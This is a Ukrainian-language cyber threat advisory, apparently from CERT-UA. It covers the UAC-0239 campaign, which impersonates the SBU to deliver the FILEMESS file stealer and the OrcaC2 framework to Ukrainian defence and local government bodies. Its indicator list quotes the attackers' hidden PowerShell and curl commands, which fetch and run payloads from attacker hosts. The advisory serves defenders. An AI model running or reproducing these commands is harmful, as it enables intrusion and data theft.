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Загальна інформація

Національною командою реагування на кіберінциденти, кібератаки, кіберзагрози CERT-UA починаючи з другої половини вересня 2025 року фіксуються спроби здійснення цільових кібератак у відношенні Сил оборони та органів місцевого самоврядування низки регіонів України з використанням тематики "протидії російським диверсійно-розвідувальним групам", нібито, від імені Служби безпеки України.

Первинна взаємодія з об'єктом атаки забезпечується шляхом розповсюдження за допомогою сервісів Ukr.net/Gmail (але не виключно) електронних листів, що містять посилання для завантаження архіву (в тому числі захищеного паролем), в якому знаходиться VHD-файл, або безпосередньо вкладення у вигляді файлу згаданого типу. В свою чергу VHD (Virtual Hard Drive) файл містить виконуваний файл та декілька

документів-приманок, як правило у форматі PDF.

Для реалізації зловмисного задуму застосовуються програмні засоби OrcaC2 (багатофункціональний інструмент, вихідний код якого доступний на Github) та FILEMESS (стілер файлів з функціоналом ексфільтрації до Telegram).

Досліджена активність відстежується за ідентифікатором UAC-0239.

FILEMESS

Програмний засіб, розроблений з використанням мови програмування Go. Основний функціонал - рекурсивний пошук файлів за визначеними переліками розширень в каталогах "Desktop", "Downloads", "Documents" та на логічних дисках D-Z, обчислення їх хеш-суми (алгоритм MD5), з подальшою ексфільтрацією за допомогою API Telegram. Списки розширень файлів: 1) odt, ott, fodt, uot, uof, docx, docm, dotx, dotm,

doc, wps, dot, wpt, hwp, lwp, psw, wpd, abw, zabw, pages, fb2, mcw, pdb, sdw, pdf, ods, ots, sxc, stc, fods, uos, xlsx, xltx, xltm, xlsb, xls, xlc, xlm, xlw, xlk, dif, parquet, numbers, xlsm, odp, otp, odg, sxi, sti, sxd, fodp, uop, uof, pptx, ppsx, potx, potm, ppt, dps, pps, pot, dpt, cgm, cwk, pptm, odg, otg, fodg, wpg, dxf, cdr, cmx, psd, pub vdx, vsd, vsdm, vsdx, vstx, rar; 2) pdf, txt, csv, jpg, jpeg, jfif, jif, jpe, png, apng, tif, tiff, webp, zip, rtf (додатково

застосовується тільки до трьох зазначених каталогів).

Персистентність забезпечується шляхом створення відповідного запису в гілці Run реєстру операційної системи. Автентифікаційні дані для взаємодії з API Telegram (токен) зашифровано за допомогою XOR та закодовано BASE64.

Запобігання одночасному запуску декількох екземплярів програми реалізовано шляхом перевірки наявності відповідного процесу.

OrcaC2

Програмний засіб (фреймворк), розроблений з використанням мови програмування Go. Вихідний код опубліковано на Github (https://github.com/Ptkatz/OrcaC2), останній реліз у 2022 році. Агент Orca Puppet володіє широким функціоналом, зокрема: віддалене виконання команд, інтерактивна командна оболонка, передача файлів, виготовлення знімків екрану, реєстрація натискань на клавіші, управління процесами (в

т.ч. виготовлення дампів), обхід механізму UAC, виконання шелкоду, низка технік для ін'єкцій в процеси, підтримка проксі (RUDP, TCP, RICMP, RHTTP, KCP, QUIC), SOCKS, тунелювання трафіку (SSH, SMB), сканер портів, підбір паролів та інше.

Для забезпечення персистентності можуть створюватися заплановані завдання, записи в гілці Run реєстру ОС, служби.
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%PUBLIC%\Downloads\GoogleUpdate.exe

%PUBLIC%\Downloads\gupdate.vbs

%PUBLIC%\Звернення.pdf

%PUBLIC%\Downloads\pkdhj.exe

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\'Google Update'

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\'Sustem'

powershell.exe -Nop -sta -noni -w hidden C:\Windows\System32\curl.exe -o %PUBLIC%\Звернення.pdf https://sbufiles.cloud/sbu/instructions/orders/

%D0%97%D0%B2%D0%B5%D1%80%D0%BD%D0%B5%D0%BD%D0%BD%D1%8F_%D0%BD%D0%B0%D1%87%D0%B0%D0%BB%D1%8C%D0%BD%D0%B8%D0%BA%D0%B0_%D0%A3%D0%A1%D0%91%D0%A3_%D0%BF%D0%BE_%D0%96%D0%B8%D1%82%D0%BE%D0%BC%D0%B8%D1%80%D1%81%D1%8C%D0%BA%D1%96%D0%B9_%D0%BE%D0%B1%D0%BB%D0%B0%D1%81%D1%82%D1%96_%D0%9A%D0%BE%D0%BC%D0%BF%D0%B0%D0%BD%D1%87%D0%B5%D0%BA%D0%BE_%D0%92_%D0%92.pdf/?

id=783040939090732 --ssl-no-revoke; Invoke-Item -Path %PUBLIC%\Звернення.pdf; C:\Windows\System32\curl.exe -o %PUBLIC%\Downloads\gupdate.vbs https://paste.c-net.org/PasadenaDeepest --ssl-no-revoke; Invoke-Item -Path %PUBLIC%\Downloads\gupdate.vbs; C:\Windows\System32\curl.exe -o %PUBLIC%\Downloads\GoogleUpdate.exe https://paste.c-net.org/LeatherBlending 

--ssl-no-revoke; Remove-Item -Path %PUBLIC%\Downloads\gupdate.vbs

%WINDIR%\System32\curl.exe -o %PUBLIC%\Downloads\GoogleUpdate.exe https://paste.c-net.org/LeatherBlending --ssl-no-revoke

%WINDIR%\System32\curl.exe -o %PUBLIC%\Downloads\gupdate.vbs https://paste.c-net.org/PasadenaDeepest --ssl-no-revoke

C:/Users/U7RY6W3E/Downloads/CLIMess/FIleMess/coreFile.go (PDB)

Графічні зображення

Рис. 1 Приклад ланцюга ураження (26.09.2025)

Рис. 2 Приклад ланцюга ураження (10.10.2025)
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